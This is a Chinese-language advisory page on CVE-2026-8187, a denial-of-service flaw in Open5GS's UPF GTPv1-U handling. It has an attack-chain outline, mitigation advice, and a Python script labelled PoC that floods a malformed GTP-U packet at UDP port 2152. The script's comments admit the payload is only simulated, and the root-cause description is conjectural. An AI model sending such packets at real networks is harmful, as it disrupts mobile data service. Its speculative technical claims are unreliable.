IPBUF安全漏洞报告
English
CVE-2026-8187 CVSS 5.3 中危

CVE-2026-8187 Open5GS UPF资源消耗漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8187
漏洞类型
资源消耗
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

资源消耗拒绝服务Open5GS5G核心网DoSCVE-2026-8187

漏洞概述

Open5GS是一款开源的5G核心网和EPC实现。在Open5GS 2.7.7及之前的版本中,其用户平面功能(UPF)组件的src/upf/gtp-path.c文件中的_gtpv1_u_recv_cb函数存在一个缺陷。攻击者可以通过网络远程利用该漏洞,通过恶意操纵数据包导致资源消耗,从而可能引发拒绝服务攻击。目前官方尚未对此问题做出响应。

技术细节

该漏洞源于Open5GS项目在处理GTPv1-U隧道协议时的边界条件检查不足。具体而言,在src/upf/gtp-path.c文件的_gtpv1_u_recv_cb函数中,程序可能未对接收到的数据包长度或内部指针偏移进行严格的验证。攻击者可以从远程位置构造并发送特制的GTP数据包至受影响设备的UPF端口。当解析函数尝试处理这些畸形数据包时,会触发异常的逻辑分支,导致系统在循环或内存分配操作中陷入死锁或过度消耗。由于CVSS向量显示无需用户交互且无需认证,此攻击易于自动化执行。持续的恶意数据包流会迅速耗尽目标服务器的CPU周期或内存资源,造成拒绝服务(DoS),影响5G核心网的正常运行。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找暴露的Open5GS UPF组件的GTP-U端口(通常为UDP 2152)。
STEP 2
制作
攻击者分析_gtpv1_u_recv_cb函数的漏洞逻辑,构造能够触发资源消耗错误的特制GTP数据包。
STEP 3
交付
攻击者通过UDP协议远程向目标Open5GS服务器的UPF端口发送恶意数据包。
STEP 4
利用
目标服务器接收并解析数据包,由于代码缺陷,处理函数进入异常状态,开始消耗大量系统资源。
STEP 5
影响
随着资源耗尽,UPF服务响应变慢或停止,导致5G数据平面无法正常转发数据,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-8187: Open5GS UPF Resource Consumption # This script sends a malformed GTPv1-U packet to trigger the vulnerability. # Target: Open5GS UPF component prior to 2.7.7 def send_exploit_packet(target_ip, target_port): try: # Create a UDP socket (GTP-U runs over UDP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a basic GTPv1-U header # Flags: Version=1, PT=1, (E, S, PN) = 0 gtp_flags = 0x30 # Message Type: T-PDU (0xFF) - Generic data packet msg_type = 0xFF # Length: placeholder, will update after payload construction length = 0 # TEID: Tunnel Endpoint Identifier (0 for testing) teid = 0x00000000 # Header construction (bytes) header = bytes([gtp_flags, msg_type]) + length.to_bytes(2, 'big') + teid.to_bytes(4, 'big') # Malicious Payload: The specific manipulation that triggers the flaw in _gtpv1_u_recv_cb # Often involves unexpected length or specific byte patterns. # Here we simulate a payload that might cause parsing issues. payload = b"\x00" * 1000 # Example padding # Update Length field (Header size is 4 bytes, excluded from length field in GTP usually, but implementation varies) # Standard GTP length is message length excluding header, but let's just send a large packet. length = len(payload) header = bytes([gtp_flags, msg_type]) + length.to_bytes(2, 'big') + teid.to_bytes(4, 'big') packet = header + payload print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent. Monitor UPF resource usage.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and GTP-U port (default is usually 2152) TARGET_IP = "192.168.1.10" TARGET_PORT = 2152 send_exploit_packet(TARGET_IP, TARGET_PORT)

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于目前官方尚未发布补丁,建议通过访问控制列表(ACL)严格限制能够向Open5GS UPF组件发送流量的源IP地址,仅允许已知的基站(gNB/eNodeB)或核心网网元进行通信。同时,应密切监控服务器资源使用情况,一旦发现异常峰值,应及时重启服务或阻断可疑连接。

参考链接